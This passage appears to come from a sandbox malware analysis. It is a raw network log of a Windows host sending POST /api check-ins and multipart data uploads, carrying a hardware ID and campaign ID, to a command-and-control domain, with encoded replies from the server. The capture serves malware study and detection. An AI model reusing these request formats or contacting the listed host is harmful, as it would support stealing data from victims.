cfL4;desc="?proto=TCP&rtt=1738&min_rtt=1720&rtt_var=682&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2261&delivery_rate=1561497&cwnd=79&unsent_bytes=0&cid=10552afd2f86944c&ts=785&x=0"
2024-12-18 16:14:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	50360	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:45 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=F5HNV4VAIW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8736 Host: grannyejh.lat
2024-12-18 16:14:45 UTC	8736	OUT	Data Raw: 2d 2d 46 35 48 4e 56 34 56 41 49 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 35 48 4e 56 34 56 41 49 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 35 48 4e 56 34 56 41 49 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 46 35 48 4e 56 34 56 41 49 57 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --F5HNV4VAIWContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--F5HNV4VAIWContent-Disposition: form-data; name="pid"2--F5HNV4VAIWContent-Disposition: form-data; name="lid"PsFKDg--pablo--F5HNV4VAIWContent-
2024-12-18 16:14:46 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kesef3e06tr3tudfectlusm94c; expires=Sun, 13-Apr-2025 10:01:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EfNry7lUwqg2ecrK9smB9O0%2Fh2h%2F1v%2FXZRXGyUobZJTiESQso2QI9cdF9akczI3LDtky6ZqbpdSNOzXUHlU0SQPn3%2BZKlpib8SoUFwVgwBz0797GMJvdWzgdFrOcSosc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40729d89b3c33a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1701&min_rtt=1696&rtt_var=646&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2829&recv_bytes=9664&delivery_rate=1680092&cwnd=235&unsent_bytes=0&cid=71e0bed413f0cfd1&ts=1063&x=0"
2024-12-18 16:14:46 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	50368	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:46 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 16:14:46 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 16:14:46 UTC	1028	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hv1n2r1ie8cef77ngsvr4vsnhn; expires=Sun, 13-Apr-2025 10:01:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kPdQiZusBHKmfFF57T2ORwccOyHMrCUUo7AO5THcnGvMUsCf%2F7598bE0XWhGl3r8DSUI80ZIYEmn%2F4eGLPfLk041m61B8NxVldLGPPdkMTrAGB8I7fVp%2BfP9NR9GPHL2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072a33a094346-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1747&min_rtt=1728&rtt_var=661&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1689814&cwnd=252&unsent_bytes=0&cid=8ab2874b0f3244ea&ts=751&x=0"
2024-12-18 16:14:46 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 16:14:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	50369	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:46 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: grannyejh.lat
2024-12-18 16:14:46 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=8B2BACE9145C30D4AC8923850305D13E
2024-12-18 16:14:47 UTC	1022	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=52v3oht88elp7gu6mao2n8dmov; expires=Sun, 13-Apr-2025 10:01:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G5AcaDU6z2P6iBXKna4KP4KAYmrPyiDtJqcnrsgw3XwKjzUT1aymZNEHy6juhcS1NZcOtiBfyrbmSnO5MBWrnoUct4u0q2NPaEgUuvfyOOMxUuPofBK8qaR01LHsaIrd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072a36f7619aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1885&min_rtt=1820&rtt_var=729&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=979&delivery_rate=1604395&cwnd=32&unsent_bytes=0&cid=cbbf24627d6ada01&ts=1035&x=0"
2024-12-18 16:14:47 UTC	214	IN	Data Raw: 64 30 0d 0a 4c 55 69 48 78 35 48 48 5a 54 64 51 52 45 69 77 78 4f 59 75 4c 64 62 6b 77 6c 4d 50 63 4f 69 4d 42 79 64 75 2b 57 31 6d 6d 58 4a 32 4d 36 57 79 73 2f 31 48 58 79 51 77 4f 49 71 59 79 58 49 43 35 39 7a 33 66 54 31 42 33 61 49 32 46 6c 33 58 58 46 44 46 58 55 49 75 34 5a 75 2b 6f 77 42 52 66 69 45 77 31 65 62 4b 44 45 75 69 78 76 68 6a 49 31 4b 4e 72 6a 30 58 45 39 55 57 52 4f 78 51 46 32 72 76 73 2b 57 33 58 32 74 2f 47 47 65 42 2f 4e 4d 41 48 2b 66 52 37 47 49 2b 51 38 61 39 4d 58 74 42 69 68 6b 44 2b 42 39 78 5a 2f 57 6d 2f 36 4d 4b 57 6e 34 68 4d 4e 58 6d 79 67 78 4c 6f 73 62 34 59 79 4e 53 6a 61 34 39 46 78 4f 6b 0d 0a Data Ascii: d0LUiHx5HHZTdQREiwxOYuLdbkwlMPcOiMBydu+W1mmXJ2M6Wys/1HXyQwOIqYyXIC59z3fT1B3aI2Fl3XXFDFXUIu4Zu+owBRfiEw1ebKDEuixvhjI1KNrj0XE9UWROxQF2rvs+W3X2t/GGeB/NMAH+fR7GI+Q8a9MXtBihkD+B9xZ/Wm/6MKWn4hMNXmygxLosb4YyNSja49FxOk
2024-12-18 16:14:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	50374	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:47 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MYXQE31GBHU8KT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20413 Host: grannyejh.lat
2024-12-18 16:14:47 UTC	15331	OUT	Data Raw: 2d 2d 4d 59 58 51 45 33 31 47 42 48 55 38 4b 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 59 58 51 45 33 31 47 42 48 55 38 4b 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4d 59 58 51 45 33 31 47 42 48 55 38 4b 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4d 59 58 51 45 33 31 47 Data Ascii: --MYXQE31GBHU8KTContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--MYXQE31GBHU8KTContent-Disposition: form-data; name="pid"3--MYXQE31GBHU8KTContent-Disposition: form-data; name="lid"PsFKDg--pablo--MYXQE31G
2024-12-18 16:14:47 UTC	5082	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-18 16:14:48 UTC	1034	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uc4r7r73gnjub0avqpqjpbbcp0; expires=Sun, 13-Apr-2025 10:01:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EnDNSjGLFDwY9FARR%2BAj5Z5Gjcl%2F4cTqAJm4AmiPcG1AbeQJjJbG5vxT50Xk1yjjigPM096tzJOH%2FNy%2FwFyDglEERZgcvcCnsdEL7fzGzTvHFo0WBr7HNAV7PX3BH3uF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072ac0ce37ce4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2064&min_rtt=1933&rtt_var=818&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21368&delivery_rate=1510605&cwnd=228&unsent_bytes=0&cid=ba808e08cdc8524f&ts=884&x=0"
2024-12-18 16:14:48 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	50375	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:47 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: grannyejh.lat
2024-12-18 16:14:47 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-18 16:14:48 UTC	1032	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=as52us83d7f2q8fsnbtqm7htdg; expires=Sun, 13-Apr-2025 10:01:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XR7W5zyuk0%2BqZ6zc9%2BxKTSv8pK%2BkMBM3NZ48Xgyy9FiRykAiOvDeiWVtRHA6FuoyArgWyusKCjM%2FCsMTBG2rG87jkmJ2CdGVCF4AA%2BsVN7J6L3KtgADGqFtSQoRZKEi0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072af8d268c77-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1868&min_rtt=1860&rtt_var=703&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=944&delivery_rate=1569892&cwnd=244&unsent_bytes=0&cid=51493605f12f52eb&ts=735&x=0"
2024-12-18 16:14:48 UTC	337	IN	Data Raw: 31 64 32 64 0d 0a 30 67 6b 76 4e 43 66 49 2f 56 73 36 44 30 6d 36 66 57 35 33 78 2f 78 2f 38 59 35 46 69 32 36 62 55 57 62 50 66 70 5a 74 6f 52 4b 70 4b 31 6b 57 48 66 7a 52 65 55 6c 71 61 34 41 4a 48 41 4b 69 30 46 32 51 36 6d 65 78 43 50 6f 39 46 61 70 53 74 42 76 4d 4d 4f 68 76 54 6c 68 55 72 64 46 35 58 33 64 72 67 43 59 56 56 61 4b 53 58 63 75 73 49 4f 45 4d 2b 6a 30 45 72 68 58 35 48 63 31 78 75 6d 56 49 58 45 4b 72 6d 54 70 57 59 69 7a 66 47 41 38 64 71 5a 55 53 6d 65 4e 6e 70 30 7a 2b 4b 30 54 31 58 4e 73 49 31 58 4f 66 61 46 78 66 42 62 58 52 49 42 68 71 4a 35 68 48 54 42 61 69 6e 68 4f 58 36 69 37 6a 42 76 4d 31 42 61 73 55 35 67 54 48 65 72 70 72 53 31 31 49 6f 6f 30 33 58 47 55 6e 32 52 49 50 56 65 76 65 47 6f 75 73 66 36 6c 66 79 7a 41 56 76 Data Ascii: 1d2d0gkvNCfI/Vs6D0m6fW53x/x/8Y5Fi26bUWbPfpZtoRKpK1kWHfzReUlqa4AJHAKi0F2Q6mexCPo9FapStBvMMOhvTlhUrdF5X3drgCYVVaKSXcusIOEM+j0ErhX5Hc1xumVIXEKrmTpWYizfGA8dqZUSmeNnp0z+K0T1XNsI1XOfaFxfBbXRIBhqJ5hHTBainhOX6i7jBvM1BasU5gTHerprS11Ioo03XGUn2RIPVeveGousf6lfyzAVv
2024-12-18 16:14:48 UTC	1369	IN	Data Raw: 7a 47 2b 4d 46 74 41 6a 50 4d 4f 67 72 53 31 68 45 70 35 38 72 55 47 59 67 33 51 30 48 48 4b 69 54 48 5a 37 6d 4b 4f 6f 4d 2f 6a 6b 4f 6f 68 62 77 41 73 35 32 73 47 73 4e 47 41 57 74 68 33 6b 41 4c 51 6a 64 44 77 73 5a 73 39 77 6e 30 2f 4e 70 38 45 7a 2b 50 30 54 31 58 50 77 4b 77 48 4f 37 5a 45 35 65 54 72 69 66 4b 31 35 67 4c 73 6f 5a 43 52 75 76 6e 51 2b 5a 34 69 48 71 42 66 49 36 41 61 6f 59 74 45 47 44 64 36 67 72 46 52 5a 6b 70 35 51 31 55 6e 6f 72 6d 41 42 43 44 4f 57 5a 45 64 4f 30 5a 2b 30 4e 2f 54 49 41 6f 78 4c 77 41 38 56 2b 76 57 52 4c 58 45 57 74 6c 54 46 51 62 43 62 54 45 41 77 51 71 4a 6f 62 6e 2b 30 69 71 55 4b 35 4e 42 7a 74 52 4c 51 68 78 48 4f 69 4b 58 68 56 53 36 53 59 4c 78 68 79 5a 63 46 66 43 78 6e 6c 78 6c 32 64 36 53 6a 37 44 65 Data Ascii: zG+MFtAjPMOgrS1hEp58rUGYg3Q0HHKiTHZ7mKOoM/jkOohbwAs52sGsNGAWth3kALQjdDwsZs9wn0/Np8Ez+P0T1XPwKwHO7ZE5eTrifK15gLsoZCRuvnQ+Z4iHqBfI6AaoYtEGDd6grFRZkp5Q1UnormABCDOWZEdO0Z+0N/TIAoxLwA8V+vWRLXEWtlTFQbCbTEAwQqJobn+0iqUK5NBztRLQhxHOiKXhVS6SYLxhyZcFfCxnlxl2d6Sj7De
2024-12-18 16:14:48 UTC	1369	IN	Data Raw: 58 4b 78 50 38 6d 65 37 4b 58 68 56 53 36 53 59 4c 78 68 79 5a 63 46 66 43 78 6e 6c 78 6c 32 65 35 43 4c 73 41 2f 67 35 43 71 67 57 2b 41 66 4e 63 36 4a 6b 53 56 5a 4a 6f 70 55 30 56 6d 6b 6a 30 52 51 48 45 36 57 66 46 39 4f 69 5a 2b 34 55 75 57 74 45 6d 52 76 34 41 73 77 79 68 57 68 44 57 45 4b 38 33 79 59 57 64 47 76 66 45 30 78 4e 35 5a 49 55 6b 2b 63 74 37 51 7a 2b 50 67 47 75 47 2f 63 43 78 48 71 2b 62 45 6c 61 54 4b 65 5a 4f 56 39 70 4c 73 6f 61 42 52 6d 70 33 6c 50 54 36 7a 2b 70 56 4c 6b 63 41 37 73 66 32 77 7a 53 65 66 42 30 41 30 38 46 72 5a 4e 35 41 43 30 73 33 52 63 48 45 36 32 65 44 35 62 69 4c 4f 67 47 2f 7a 49 4a 6f 52 72 30 44 73 4e 32 76 47 74 4b 55 56 65 34 6d 6a 39 4b 5a 32 75 57 58 77 73 4e 35 63 5a 64 70 66 77 77 2b 42 71 37 42 67 65 Data Ascii: XKxP8me7KXhVS6SYLxhyZcFfCxnlxl2e5CLsA/g5CqgW+AfNc6JkSVZJopU0Vmkj0RQHE6WfF9OiZ+4UuWtEmRv4AswyhWhDWEK83yYWdGvfE0xN5ZIUk+ct7Qz+PgGuG/cCxHq+bElaTKeZOV9pLsoaBRmp3lPT6z+pVLkcA7sf2wzSefB0A08FrZN5AC0s3RcHE62eD5biLOgG/zIJoRr0DsN2vGtKUVe4mj9KZ2uWXwsN5cZdpfww+Bq7Bge
2024-12-18 16:14:48 UTC	1369	IN	Data Raw: 4d 78 30 76 6d 31 4c 57 30 43 6c 6c 53 74 51 59 79 62 54 45 41 63 48 70 5a 4d 5a 6e 2b 67 76 34 67 61 35 66 55 53 71 42 4c 52 58 67 30 57 39 5a 45 31 56 55 2b 71 41 64 30 45 74 4c 4e 52 66 56 46 57 70 6b 42 32 63 34 43 76 69 42 50 67 2f 43 71 6f 5a 2f 51 66 4c 59 72 46 76 52 56 64 4c 70 5a 34 39 58 57 67 76 33 78 73 4b 47 75 58 51 58 5a 54 30 5a 37 46 4d 31 68 51 78 37 7a 33 4f 54 39 77 2b 71 53 74 4b 57 67 58 79 33 7a 56 62 59 53 50 58 47 51 55 5a 72 35 63 57 6e 2b 63 6a 35 51 58 38 4e 51 57 6f 47 66 55 4c 7a 33 71 32 61 45 35 5a 53 71 57 58 65 52 59 74 4c 4d 42 66 56 46 57 41 69 52 61 64 36 6d 66 32 51 75 42 7a 41 36 46 63 72 45 2f 50 65 62 5a 74 53 46 70 45 72 4a 63 38 55 47 6b 71 33 68 6b 50 47 71 47 62 48 4a 7a 6f 4b 2b 63 47 2b 44 49 49 70 68 50 2f Data Ascii: Mx0vm1LW0CllStQYybTEAcHpZMZn+gv4ga5fUSqBLRXg0W9ZE1VU+qAd0EtLNRfVFWpkB2c4CviBPg/CqoZ/QfLYrFvRVdLpZ49XWgv3xsKGuXQXZT0Z7FM1hQx7z3OT9w+qStKWgXy3zVbYSPXGQUZr5cWn+cj5QX8NQWoGfULz3q2aE5ZSqWXeRYtLMBfVFWAiRad6mf2QuBzA6FcrE/PebZtSFpErJc8UGkq3hkPGqGbHJzoK+cG+DIIphP/
2024-12-18 16:14:48 UTC	1369	IN	Data Raw: 64 6e 53 31 6c 44 71 35 6f 7a 56 47 6f 75 30 78 41 41 56 65 76 65 47 6f 75 73 66 36 6b 69 38 69 41 54 72 68 4c 2f 47 64 67 77 72 79 56 55 46 6b 4b 6d 33 32 45 59 62 69 44 54 47 77 77 5a 70 5a 6f 51 6b 2f 34 6f 37 67 76 77 4f 42 61 6e 47 2f 4d 45 79 33 75 2f 62 56 39 61 53 37 69 61 4b 30 6f 74 5a 5a 67 59 46 46 58 39 33 69 75 55 2f 44 66 71 54 73 67 6c 42 37 73 58 2b 51 4f 44 62 2f 35 79 44 56 46 4a 36 73 64 35 58 6d 49 69 32 78 41 4e 48 4b 6d 54 47 4a 72 70 4a 75 38 49 38 7a 6b 45 71 78 72 31 43 73 6c 7a 73 57 46 45 55 55 32 74 6e 43 73 59 49 32 76 66 42 30 78 4e 35 62 63 61 67 65 49 33 71 52 4f 33 4b 6b 53 71 45 4c 52 58 67 33 53 36 5a 45 6c 52 53 61 79 61 50 31 56 73 4a 4e 6b 66 41 78 47 75 6c 78 75 53 34 53 4c 6b 43 4f 73 35 44 36 49 51 2f 51 50 4f 4d Data Ascii: dnS1lDq5ozVGou0xAAVeveGousf6ki8iATrhL/GdgwryVUFkKm32EYbiDTGwwZpZoQk/4o7gvwOBanG/MEy3u/bV9aS7iaK0otZZgYFFX93iuU/DfqTsglB7sX+QODb/5yDVFJ6sd5XmIi2xANHKmTGJrpJu8I8zkEqxr1CslzsWFEUU2tnCsYI2vfB0xN5bcageI3qRO3KkSqELRXg3S6ZElRSayaP1VsJNkfAxGulxuS4SLkCOs5D6IQ/QPOM
2024-12-18 16:14:48 UTC	1369	IN	Data Raw: 56 53 71 6d 4e 4f 46 35 2f 4b 39 55 56 48 68 2b 75 6d 78 43 65 34 53 54 76 43 76 49 2f 46 71 51 63 39 77 53 44 50 76 42 73 56 52 59 64 36 72 77 75 54 6d 63 73 31 41 6b 48 46 4b 61 49 45 49 4f 73 61 61 6b 64 2f 69 4a 45 39 51 72 6b 47 4d 52 76 2f 6e 49 4e 55 55 6e 71 78 33 6c 65 5a 43 33 66 47 51 49 48 6f 4a 67 53 6e 4f 55 75 37 51 54 36 4d 77 43 70 47 2f 45 4d 7a 33 75 33 61 45 4a 53 54 4b 53 57 4e 68 67 6a 61 39 38 48 54 45 33 6c 76 77 61 51 34 43 71 70 45 37 63 71 52 4b 6f 51 74 46 65 44 66 4c 35 75 54 56 78 44 72 70 6f 2f 55 6d 67 72 30 78 77 44 45 61 4f 61 45 70 50 6e 4c 75 67 4b 2f 44 6b 50 71 78 48 33 43 63 55 77 2f 69 74 4b 54 67 58 79 33 78 6c 44 59 43 66 66 58 78 4e 62 76 4e 34 61 6e 36 78 2f 71 51 66 31 4e 77 4f 74 45 66 63 48 78 6e 53 36 62 6b Data Ascii: VSqmNOF5/K9UVHh+umxCe4STvCvI/FqQc9wSDPvBsVRYd6rwuTmcs1AkHFKaIEIOsaakd/iJE9QrkGMRv/nINUUnqx3leZC3fGQIHoJgSnOUu7QT6MwCpG/EMz3u3aEJSTKSWNhgja98HTE3lvwaQ4CqpE7cqRKoQtFeDfL5uTVxDrpo/Umgr0xwDEaOaEpPnLugK/DkPqxH3CcUw/itKTgXy3xlDYCffXxNbvN4an6x/qQf1NwOtEfcHxnS6bk
2024-12-18 16:14:48 UTC	295	IN	Data Raw: 6a 6a 41 59 49 32 76 66 43 55 78 4e 35 61 42 64 67 65 38 33 36 67 50 6f 44 55 54 31 42 63 70 50 79 47 61 33 65 30 35 41 54 71 65 54 4b 47 59 74 63 34 78 4e 58 6b 66 33 7a 41 4c 54 38 78 69 6e 54 50 68 7a 58 4a 51 46 74 42 6d 44 4b 4f 49 6c 44 55 51 46 38 74 39 2b 57 33 38 35 33 68 77 61 46 75 4b 67 49 37 54 36 4c 65 34 63 2f 69 51 4c 37 56 4b 30 41 49 4d 6f 69 53 74 45 55 56 36 37 69 54 52 49 61 6d 76 6e 55 55 77 4e 35 63 5a 64 70 75 38 70 35 77 76 76 49 6b 6d 4b 43 76 34 49 30 33 65 6e 5a 41 30 59 42 61 7a 66 59 51 73 6a 61 39 77 4f 54 45 33 31 7a 45 62 47 76 33 43 35 58 75 5a 39 48 65 30 4b 74 46 65 52 50 76 42 35 44 51 34 46 37 5a 77 72 53 6d 73 6f 7a 68 78 4c 4b 35 75 35 42 35 37 71 4d 50 67 79 78 7a 51 65 6f 42 72 6a 48 6f 39 6c 73 32 56 44 55 56 50 Data Ascii: jjAYI2vfCUxN5aBdge836gPoDUT1BcpPyGa3e05ATqeTKGYtc4xNXkf3zALT8xinTPhzXJQFtBmDKOIlDUQF8t9+W3853hwaFuKgI7T6Le4c/iQL7VK0AIMoiStEUV67iTRIamvnUUwN5cZdpu8p5wvvIkmKCv4I03enZA0YBazfYQsja9wOTE31zEbGv3C5XuZ9He0KtFeRPvB5DQ4F7ZwrSmsozhxLK5u5B57qMPgyxzQeoBrjHo9ls2VDUVP
